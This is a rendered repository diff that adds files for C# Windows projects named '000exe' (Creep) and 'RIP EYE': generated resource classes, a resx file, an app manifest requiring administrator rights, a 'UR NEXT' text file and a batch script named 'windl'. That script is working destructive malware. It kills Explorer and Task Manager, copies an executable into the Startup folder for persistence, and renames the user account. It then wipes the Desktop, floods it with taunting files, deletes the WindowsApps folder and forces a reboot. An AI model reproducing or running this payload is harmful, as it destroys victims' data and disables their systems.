// with the /str option, or rebuild your VS project.
|
| 22 |
+
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
| 23 |
+
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
| 24 |
+
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
| 25 |
+
internal class Resources {
|
| 26 |
+
|
| 27 |
+
private static global::System.Resources.ResourceManager resourceMan;
|
| 28 |
+
|
| 29 |
+
private static global::System.Globalization.CultureInfo resourceCulture;
|
| 30 |
+
|
| 31 |
+
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
| 32 |
+
internal Resources() {
|
| 33 |
+
}
|
| 34 |
+
|
| 35 |
+
/// <summary>
|
| 36 |
+
/// Returns the cached ResourceManager instance used by this class.
|
| 37 |
+
/// </summary>
|
| 38 |
+
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
| 39 |
+
internal static global::System.Resources.ResourceManager ResourceManager {
|
| 40 |
+
get {
|
| 41 |
+
if (object.ReferenceEquals(resourceMan, null)) {
|
| 42 |
+
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Creep.Properties.Resources", typeof(Resources).Assembly);
|
| 43 |
+
resourceMan = temp;
|
| 44 |
+
}
|
| 45 |
+
return resourceMan;
|
| 46 |
+
}
|
| 47 |
+
}
|
| 48 |
+
|
| 49 |
+
/// <summary>
|
| 50 |
+
/// Overrides the current thread's CurrentUICulture property for all
|
| 51 |
+
/// resource lookups using this strongly typed resource class.
|
| 52 |
+
/// </summary>
|
| 53 |
+
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
| 54 |
+
internal static global::System.Globalization.CultureInfo Culture {
|
| 55 |
+
get {
|
| 56 |
+
return resourceCulture;
|
| 57 |
+
}
|
| 58 |
+
set {
|
| 59 |
+
resourceCulture = value;
|
| 60 |
+
}
|
| 61 |
+
}
|
| 62 |
+
|
| 63 |
+
/// <summary>
|
| 64 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 65 |
+
/// </summary>
|
| 66 |
+
internal static byte[] _000 {
|
| 67 |
+
get {
|
| 68 |
+
object obj = ResourceManager.GetObject("_000", resourceCulture);
|
| 69 |
+
return ((byte[])(obj));
|
| 70 |
+
}
|
| 71 |
+
}
|
| 72 |
+
|
| 73 |
+
/// <summary>
|
| 74 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 75 |
+
/// </summary>
|
| 76 |
+
internal static byte[] one {
|
| 77 |
+
get {
|
| 78 |
+
object obj = ResourceManager.GetObject("one", resourceCulture);
|
| 79 |
+
return ((byte[])(obj));
|
| 80 |
+
}
|
| 81 |
+
}
|
| 82 |
+
|
| 83 |
+
/// <summary>
|
| 84 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 85 |
+
/// </summary>
|
| 86 |
+
internal static byte[] street {
|
| 87 |
+
get {
|
| 88 |
+
object obj = ResourceManager.GetObject("street", resourceCulture);
|
| 89 |
+
return ((byte[])(obj));
|
| 90 |
+
}
|
| 91 |
+
}
|
| 92 |
+
|
| 93 |
+
/// <summary>
|
| 94 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 95 |
+
/// </summary>
|
| 96 |
+
internal static byte[] subox {
|
| 97 |
+
get {
|
| 98 |
+
object obj = ResourceManager.GetObject("subox", resourceCulture);
|
| 99 |
+
return ((byte[])(obj));
|
| 100 |
+
}
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
/// <summary>
|
| 104 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 105 |
+
/// </summary>
|
| 106 |
+
internal static byte[] texticon {
|
| 107 |
+
get {
|
| 108 |
+
object obj = ResourceManager.GetObject("texticon", resourceCulture);
|
| 109 |
+
return ((byte[])(obj));
|
| 110 |
+
}
|
| 111 |
+
}
|
| 112 |
+
|
| 113 |
+
/// <summary>
|
| 114 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 115 |
+
/// </summary>
|
| 116 |
+
internal static byte[] txt {
|
| 117 |
+
get {
|
| 118 |
+
object obj = ResourceManager.GetObject("txt", resourceCulture);
|
| 119 |
+
return ((byte[])(obj));
|
| 120 |
+
}
|
| 121 |
+
}
|
| 122 |
+
|
| 123 |
+
/// <summary>
|
| 124 |
+
/// Looks up a localized resource of type System.Byte[].
|
| 125 |
+
/// </summary>
|
| 126 |
+
internal static byte[] windl {
|
| 127 |
+
get {
|
| 128 |
+
object obj = ResourceManager.GetObject("windl", resourceCulture);
|
| 129 |
+
return ((byte[])(obj));
|
| 130 |
+
}
|
| 131 |
+
}
|
| 132 |
+
}
|
| 133 |
+
}
|
src/000exe-master/Creep/Properties/Resources.resx
ADDED
|
@@ -0,0 +1,142 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<root>
|
| 3 |
+
<!--
|
| 4 |
+
Microsoft ResX Schema
|
| 5 |
+
|
| 6 |
+
Version 2.0
|
| 7 |
+
|
| 8 |
+
The primary goals of this format is to allow a simple XML format
|
| 9 |
+
that is mostly human readable. The generation and parsing of the
|
| 10 |
+
various data types are done through the TypeConverter classes
|
| 11 |
+
associated with the data types.
|
| 12 |
+
|
| 13 |
+
Example:
|
| 14 |
+
|
| 15 |
+
... ado.net/XML headers & schema ...
|
| 16 |
+
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
| 17 |
+
<resheader name="version">2.0</resheader>
|
| 18 |
+
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
| 19 |
+
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
| 20 |
+
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
| 21 |
+
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
| 22 |
+
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
| 23 |
+
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
| 24 |
+
</data>
|
| 25 |
+
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
| 26 |
+
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
| 27 |
+
<comment>This is a comment</comment>
|
| 28 |
+
</data>
|
| 29 |
+
|
| 30 |
+
There are any number of "resheader" rows that contain simple
|
| 31 |
+
name/value pairs.
|
| 32 |
+
|
| 33 |
+
Each data row contains a name, and value. The row also contains a
|
| 34 |
+
type or mimetype. Type corresponds to a .NET class that support
|
| 35 |
+
text/value conversion through the TypeConverter architecture.
|
| 36 |
+
Classes that don't support this are serialized and stored with the
|
| 37 |
+
mimetype set.
|
| 38 |
+
|
| 39 |
+
The mimetype is used for serialized objects, and tells the
|
| 40 |
+
ResXResourceReader how to depersist the object. This is currently not
|
| 41 |
+
extensible. For a given mimetype the value must be set accordingly:
|
| 42 |
+
|
| 43 |
+
Note - application/x-microsoft.net.object.binary.base64 is the format
|
| 44 |
+
that the ResXResourceWriter will generate, however the reader can
|
| 45 |
+
read any of the formats listed below.
|
| 46 |
+
|
| 47 |
+
mimetype: application/x-microsoft.net.object.binary.base64
|
| 48 |
+
value : The object must be serialized with
|
| 49 |
+
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
| 50 |
+
: and then encoded with base64 encoding.
|
| 51 |
+
|
| 52 |
+
mimetype: application/x-microsoft.net.object.soap.base64
|
| 53 |
+
value : The object must be serialized with
|
| 54 |
+
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
| 55 |
+
: and then encoded with base64 encoding.
|
| 56 |
+
|
| 57 |
+
mimetype: application/x-microsoft.net.object.bytearray.base64
|
| 58 |
+
value : The object must be serialized into a byte array
|
| 59 |
+
: using a System.ComponentModel.TypeConverter
|
| 60 |
+
: and then encoded with base64 encoding.
|
| 61 |
+
-->
|
| 62 |
+
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
| 63 |
+
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
| 64 |
+
<xsd:element name="root" msdata:IsDataSet="true">
|
| 65 |
+
<xsd:complexType>
|
| 66 |
+
<xsd:choice maxOccurs="unbounded">
|
| 67 |
+
<xsd:element name="metadata">
|
| 68 |
+
<xsd:complexType>
|
| 69 |
+
<xsd:sequence>
|
| 70 |
+
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
| 71 |
+
</xsd:sequence>
|
| 72 |
+
<xsd:attribute name="name" use="required" type="xsd:string" />
|
| 73 |
+
<xsd:attribute name="type" type="xsd:string" />
|
| 74 |
+
<xsd:attribute name="mimetype" type="xsd:string" />
|
| 75 |
+
<xsd:attribute ref="xml:space" />
|
| 76 |
+
</xsd:complexType>
|
| 77 |
+
</xsd:element>
|
| 78 |
+
<xsd:element name="assembly">
|
| 79 |
+
<xsd:complexType>
|
| 80 |
+
<xsd:attribute name="alias" type="xsd:string" />
|
| 81 |
+
<xsd:attribute name="name" type="xsd:string" />
|
| 82 |
+
</xsd:complexType>
|
| 83 |
+
</xsd:element>
|
| 84 |
+
<xsd:element name="data">
|
| 85 |
+
<xsd:complexType>
|
| 86 |
+
<xsd:sequence>
|
| 87 |
+
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
| 88 |
+
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
| 89 |
+
</xsd:sequence>
|
| 90 |
+
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
| 91 |
+
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
| 92 |
+
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
| 93 |
+
<xsd:attribute ref="xml:space" />
|
| 94 |
+
</xsd:complexType>
|
| 95 |
+
</xsd:element>
|
| 96 |
+
<xsd:element name="resheader">
|
| 97 |
+
<xsd:complexType>
|
| 98 |
+
<xsd:sequence>
|
| 99 |
+
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
| 100 |
+
</xsd:sequence>
|
| 101 |
+
<xsd:attribute name="name" type="xsd:string" use="required" />
|
| 102 |
+
</xsd:complexType>
|
| 103 |
+
</xsd:element>
|
| 104 |
+
</xsd:choice>
|
| 105 |
+
</xsd:complexType>
|
| 106 |
+
</xsd:element>
|
| 107 |
+
</xsd:schema>
|
| 108 |
+
<resheader name="resmimetype">
|
| 109 |
+
<value>text/microsoft-resx</value>
|
| 110 |
+
</resheader>
|
| 111 |
+
<resheader name="version">
|
| 112 |
+
<value>2.0</value>
|
| 113 |
+
</resheader>
|
| 114 |
+
<resheader name="reader">
|
| 115 |
+
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 116 |
+
</resheader>
|
| 117 |
+
<resheader name="writer">
|
| 118 |
+
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 119 |
+
</resheader>
|
| 120 |
+
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
| 121 |
+
<data name="one" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 122 |
+
<value>..\Resources\one;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 123 |
+
</data>
|
| 124 |
+
<data name="street" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 125 |
+
<value>..\Resources\street.mp4;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 126 |
+
</data>
|
| 127 |
+
<data name="subox" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 128 |
+
<value>..\Resources\subox;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 129 |
+
</data>
|
| 130 |
+
<data name="texticon" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 131 |
+
<value>..\Resources\texticon;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 132 |
+
</data>
|
| 133 |
+
<data name="txt" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 134 |
+
<value>..\Resources\txt;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 135 |
+
</data>
|
| 136 |
+
<data name="windl" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 137 |
+
<value>..\Resources\windl;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 138 |
+
</data>
|
| 139 |
+
<data name="_000" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
| 140 |
+
<value>..\Resources\000;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
| 141 |
+
</data>
|
| 142 |
+
</root>
|
src/000exe-master/Creep/Properties/Settings.Designer.cs
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//------------------------------------------------------------------------------
|
| 2 |
+
// <auto-generated>
|
| 3 |
+
// This code was generated by a tool.
|
| 4 |
+
// Runtime Version:4.0.30319.42000
|
| 5 |
+
//
|
| 6 |
+
// Changes to this file may cause incorrect behavior and will be lost if
|
| 7 |
+
// the code is regenerated.
|
| 8 |
+
// </auto-generated>
|
| 9 |
+
//------------------------------------------------------------------------------
|
| 10 |
+
|
| 11 |
+
namespace zerozerozero.Properties {
|
| 12 |
+
|
| 13 |
+
|
| 14 |
+
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
| 15 |
+
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
|
| 16 |
+
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
| 17 |
+
|
| 18 |
+
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
| 19 |
+
|
| 20 |
+
public static Settings Default {
|
| 21 |
+
get {
|
| 22 |
+
return defaultInstance;
|
| 23 |
+
}
|
| 24 |
+
}
|
| 25 |
+
}
|
| 26 |
+
}
|
src/000exe-master/Creep/Properties/Settings.settings
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version='1.0' encoding='utf-8'?>
|
| 2 |
+
<SettingsFile xmlns="uri:settings" CurrentProfile="(Default)">
|
| 3 |
+
<Profiles>
|
| 4 |
+
<Profile Name="(Default)" />
|
| 5 |
+
</Profiles>
|
| 6 |
+
<Settings />
|
| 7 |
+
</SettingsFile>
|
src/000exe-master/Creep/Resources/000
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
src/000exe-master/Creep/Resources/one
ADDED
|
Binary file (403 Bytes). View file
|
|
|
src/000exe-master/Creep/Resources/subox
ADDED
|
Binary file (78.3 kB). View file
|
|
|
src/000exe-master/Creep/Resources/txt
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
UR NEXT
|
| 2 |
+
UR NEXT
|
| 3 |
+
UR NEXT
|
| 4 |
+
UR NEXT
|
| 5 |
+
UR NEXT
|
| 6 |
+
UR NEXT
|
| 7 |
+
UR NEXT
|
| 8 |
+
UR NEXT
|
| 9 |
+
UR NEXT
|
| 10 |
+
UR NEXT
|
| 11 |
+
UR NEXT
|
| 12 |
+
UR NEXT
|
| 13 |
+
UR NEXT
|
| 14 |
+
UR NEXT
|
| 15 |
+
UR NEXT
|
| 16 |
+
UR NEXT
|
| 17 |
+
UR NEXT
|
| 18 |
+
UR NEXT
|
| 19 |
+
UR NEXT
|
| 20 |
+
UR NEXT
|
| 21 |
+
UR NEXT
|
| 22 |
+
UR NEXT
|
| 23 |
+
UR NEXT
|
| 24 |
+
UR NEXT
|
| 25 |
+
UR NEXT
|
| 26 |
+
UR NEXT
|
| 27 |
+
UR NEXT
|
| 28 |
+
UR NEXT
|
| 29 |
+
UR NEXT
|
| 30 |
+
UR NEXT
|
| 31 |
+
UR NEXT
|
| 32 |
+
UR NEXT
|
| 33 |
+
UR NEXT
|
| 34 |
+
UR NEXT
|
| 35 |
+
UR NEXT
|
| 36 |
+
UR NEXT
|
| 37 |
+
UR NEXT
|
| 38 |
+
UR NEXT
|
| 39 |
+
UR NEXT
|
| 40 |
+
UR NEXT
|
| 41 |
+
UR NEXT
|
| 42 |
+
UR NEXT
|
| 43 |
+
UR NEXT
|
| 44 |
+
UR NEXT
|
src/000exe-master/Creep/Resources/windl
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
@echo off
|
| 2 |
+
taskkill /f /im explorer.exe
|
| 3 |
+
taskkill /f /im taskmgr.exe
|
| 4 |
+
copy %temp%\rniw.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\rniw.exe"
|
| 5 |
+
wmic useraccount where name='%username%' set FullName='UR NEXT'
|
| 6 |
+
wmic useraccount where name='%username%' rename 'UR NEXT'
|
| 7 |
+
SET /a cr=0
|
| 8 |
+
|
| 9 |
+
del /f /s /q %userprofile%\Desktop\*
|
| 10 |
+
for /d %%p in (%userprofile%\Desktop\*) Do rd /Q /S "%%p"
|
| 11 |
+
|
| 12 |
+
:l
|
| 13 |
+
copy %temp%\text.txt "%userprofile%\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N%cr%XT.txt"
|
| 14 |
+
SET /a cr=%cr%+1
|
| 15 |
+
if %cr%==28 copy %temp%\one.rtf %userprofile%\Desktop\OPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENMEOPENME.rtf
|
| 16 |
+
if not %cr%==400 goto l
|
| 17 |
+
|
| 18 |
+
del /f /s /q "C:\Program Files\WindowsApps\"
|
| 19 |
+
shutdown /f /r /t 0
|
src/000exe-master/Creep/app.manifest
ADDED
|
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
|
| 3 |
+
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
| 4 |
+
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
| 5 |
+
<security>
|
| 6 |
+
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
| 7 |
+
<!-- UAC Manifest Options
|
| 8 |
+
If you want to change the Windows User Account Control level replace the
|
| 9 |
+
requestedExecutionLevel node with one of the following.
|
| 10 |
+
|
| 11 |
+
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
| 12 |
+
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
| 13 |
+
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
|
| 14 |
+
|
| 15 |
+
Specifying requestedExecutionLevel element will disable file and registry virtualization.
|
| 16 |
+
Remove this element if your application requires this virtualization for backwards
|
| 17 |
+
compatibility.
|
| 18 |
+
-->
|
| 19 |
+
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
| 20 |
+
</requestedPrivileges>
|
| 21 |
+
</security>
|
| 22 |
+
</trustInfo>
|
| 23 |
+
|
| 24 |
+
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
| 25 |
+
<application>
|
| 26 |
+
<!-- A list of the Windows versions that this application has been tested on and is
|
| 27 |
+
is designed to work with. Uncomment the appropriate elements and Windows will
|
| 28 |
+
automatically selected the most compatible environment. -->
|
| 29 |
+
|
| 30 |
+
<!-- Windows Vista -->
|
| 31 |
+
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
|
| 32 |
+
|
| 33 |
+
<!-- Windows 7 -->
|
| 34 |
+
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
|
| 35 |
+
|
| 36 |
+
<!-- Windows 8 -->
|
| 37 |
+
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
|
| 38 |
+
|
| 39 |
+
<!-- Windows 8.1 -->
|
| 40 |
+
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
|
| 41 |
+
|
| 42 |
+
<!-- Windows 10 -->
|
| 43 |
+
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
|
| 44 |
+
|
| 45 |
+
</application>
|
| 46 |
+
</compatibility>
|
| 47 |
+
|
| 48 |
+
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
|
| 49 |
+
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
|
| 50 |
+
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
|
| 51 |
+
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->
|
| 52 |
+
<!--
|
| 53 |
+
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
| 54 |
+
<windowsSettings>
|
| 55 |
+
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
|
| 56 |
+
</windowsSettings>
|
| 57 |
+
</application>
|
| 58 |
+
-->
|
| 59 |
+
|
| 60 |
+
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
|
| 61 |
+
<!--
|
| 62 |
+
<dependency>
|
| 63 |
+
<dependentAssembly>
|
| 64 |
+
<assemblyIdentity
|
| 65 |
+
type="win32"
|
| 66 |
+
name="Microsoft.Windows.Common-Controls"
|
| 67 |
+
version="6.0.0.0"
|
| 68 |
+
processorArchitecture="*"
|
| 69 |
+
publicKeyToken="6595b64144ccf1df"
|
| 70 |
+
language="*"
|
| 71 |
+
/>
|
| 72 |
+
</dependentAssembly>
|
| 73 |
+
</dependency>
|
| 74 |
+
-->
|
| 75 |
+
|
| 76 |
+
</assembly>
|
src/4-main/RIP EYE/RIP EYE.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.9.34622.214
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RIP EYE", "RIP EYE\RIP EYE.csproj", "{06CB2A06-570C-4D42-BAA9-2D023B4015DB}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|Any CPU = Debug|Any CPU
|
| 11 |
+
Release|Any CPU = Release|Any CPU
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{06CB2A06-570C-4D42-BAA9-2D023B4015DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
| 15 |
+
{06CB2A06-570C-4D42-BAA9-2D023B4015DB}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
| 16 |
+
{06CB2A06-570C-4D42-BAA9-2D023B4015DB}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
| 17 |
+
{06CB2A06-570C-4D42-BAA9-2D023B4015DB}.Release|Any CPU.Build.0 = Release|Any CPU
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {7A1D507A-C6C3-4737-8226-9BEE10BFF1D6}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/4-main/RIP EYE/RIP EYE/App.config
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8" ?>
|
| 2 |
+
<configuration>
|
| 3 |
+
<startup>
|
| 4 |
+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
|
| 5 |
+
</startup>
|
| 6 |
+
</configuration>
|
src/4-main/RIP EYE/RIP EYE/Program.cs
ADDED
|
@@ -0,0 +1,133 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
